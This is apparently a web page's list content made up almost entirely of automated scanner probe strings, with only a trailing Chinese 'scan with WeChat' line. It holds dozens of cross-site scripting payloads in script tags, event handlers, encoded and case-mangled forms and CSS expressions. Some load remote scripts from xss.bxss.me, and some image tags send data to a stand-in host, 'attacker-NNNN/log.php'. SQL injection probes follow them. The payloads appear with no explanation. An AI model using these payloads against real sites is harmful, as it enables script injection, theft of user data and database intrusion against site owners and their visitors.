- acu9291%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9291
- 1"onmouseover=om6c(98292)"
- acux7130%C0%BEz1%C0%BCz2a%90bcxuca7130
- 1" N6id=om6c([!+!]) 7Xx="
- 1%22onmouseover=aNqL(93392)%22
- 1\u0022onmouseover=om6c(92173)\u0022
- 1"onmouseover=aNqL(95382)"
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%6F%6D%36%63%28%39%39%37%37%34%29%22
- 1" Mid1=aNqL([!+!]) lA7="
- "onmouseover=om6c(92615)//
- 1\u0022onmouseover=aNqL(94743)\u0022
- 1"sTYLe='acu:Expre/**/SSion(om6c(9699))'bad="
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%61%4E%71%4C%28%39%38%35%33%34%29%22
- 1"><script>om6c(9392)</script>
- 1<ScRiPt >om6c(9370)</ScRiPt>
- 1"sTYLe='acu:Expre/**/SSion(aNqL(9910))'bad="
- 1<WYG7CF>YGEZG[!+!]</WYG7CF>
- 1"><script>aNqL(9629)</script>
- 1<script>om6c(9966)</script>
- acu2741%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2741
- 1<ScR<ScRiPt>IpT>om6c(9793)</sCr<ScRiPt>IpT>
- 1<ScRiPt >aNqL(9184)</ScRiPt>
- acux2718%C0%BEz1%C0%BCz2a%90bcxuca2718
- 1<ScRiPt >om6c(9342)</ScRiPt>
- 1<WPCEZM>AJFTV[!+!]</WPCEZM>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9466></ScRiPt>
- 1<script>aNqL(9491)</script>
- 1< ScRiPt >om6c(9341)</ScRiPt>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%61%4E%71%4C%28%39%39%39%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<svg onload=om6c(9188)
- 1<isindex type=image src=1 onerror=om6c(9755)>
- 1<ScRiPt >aNqL(9308)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9105></ScRiPt>
- 1<body onload=om6c(9769)>
- 1< ScRiPt >aNqL(9202)</ScRiPt>
- 1<img src=//xss.bxss.me/t/dot.gif onload=om6c(9782)>
- acu9594%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9594
- 1<img src=xyz OnErRor=om6c(9939)>
- 1<isindex type=image src=1 onerror=aNqL(9572)>
- acux7589%C0%BEz1%C0%BCz2a%90bcxuca7589
- 1<img/src=">" onerror=alert(9690)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9470'>
- 1<body onload=aNqL(9801)>
- %31%3C%53%63%52%69%50%74%20%3E%6F%6D%36%63%289432%29%3C%2F%73%43%72%69%70%54%3E
- 1<img src=//xss.bxss.me/t/dot.gif onload=aNqL(9165)>
- 1\u003CScRiPt\om6c(9960)\u003C/sCripT\u003E
- 1<img src=xyz OnErRor=aNqL(9286)>
- <img acu onmouseover=om6c(90141) //>
- 1<img/src=">" onerror=alert(9294)>
- 1<input autofocus onfocus=om6c(9466)>
- %31%3C%53%63%52%69%50%74%20%3E%61%4E%71%4C%289326%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\aNqL(9381)\u003C/sCripT\u003E
- 1%22onmouseover=PugD(99512)%22
- 1}body{acu:Expre/**/SSion(om6c(9742))}
- 1<ScRiPt>aNqL(9575)</sCripT>
- 1gX3yd <ScRiPt >om6c(9218)</ScRiPt>
- 1"onmouseover=PugD(90802)"
- 1" 5gDm=PugD([!+!]) oGg="
- 1<input autofocus onfocus=aNqL(9704)>
- 1<WDRJXA>U1UBC[!+!]</WDRJXA>
- 1\u0022onmouseover=PugD(95943)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%50%75%67%44%28%39%38%36%34%34%29%22
- 1<ifRAme sRc=9951.com></IfRamE>
- 1"sTYLe='acu:Expre/**/SSion(PugD(9625))'bad="
- 1<a7m1P4w x=9259>
- 1}body{acu:Expre/**/SSion(aNqL(9783))}
- 1"><script>PugD(9568)</script>
- 1<ScRiPt >PugD(9703)</ScRiPt>
- 1uzbtE <ScRiPt >aNqL(9199)</ScRiPt>
- 1<img sRc='http://attacker-9002/log.php?
- 1<WXFM98>VUQUX[!+!]</WXFM98>
- 1<WMVBYO>VNWFU[!+!]</WMVBYO>
- 1<aIpHM2y<
- 1<ifRAme sRc=9880.com></IfRamE>
- 1<script>PugD(9482)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%50%75%67%44%28%39%39%33%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<aPhWbW5 x=9883>
- 1<ScRiPt >PugD(9886)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9936></ScRiPt>
- 1<img sRc='http://attacker-9553/log.php?
- 1< ScRiPt >PugD(9677)</ScRiPt>
- 1<aMgRdTb<
- 1<isindex type=image src=1 onerror=PugD(9942)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9642'>
- 1\u003CScRiPt\PugD(9053)\u003C/sCripT\u003E
- 1<ScRiPt>PugD(9783)</sCripT>
- 1<input autofocus onfocus=PugD(9146)>
- 1}body{acu:Expre/**/SSion(PugD(9098))}
- 1NCGE6 <ScRiPt >PugD(9658)</ScRiPt>
- 1<WGV0N6>F1FJL[!+!]</WGV0N6>
- 1<ifRAme sRc=9244.com></IfRamE>
- 1<acFN35m x=9907>
- 1<img sRc='http://attacker-9852/log.php?
- 1<aUOwFqU<
- RWiV3tks
- -1 OR 2+591-591-1=0+0+0+1 --
- -1 OR 2+740-740-1=0+0+0+1
- -1' OR 2+267-267-1=0+0+0+1 --
- -1' OR 2+559-559-1=0+0+0+1 or 'K2Qb9wQp'='
- -1" OR 2+603-603-1=0+0+0+1 --
- @@8sl61
微信扫一扫, 保存到手机
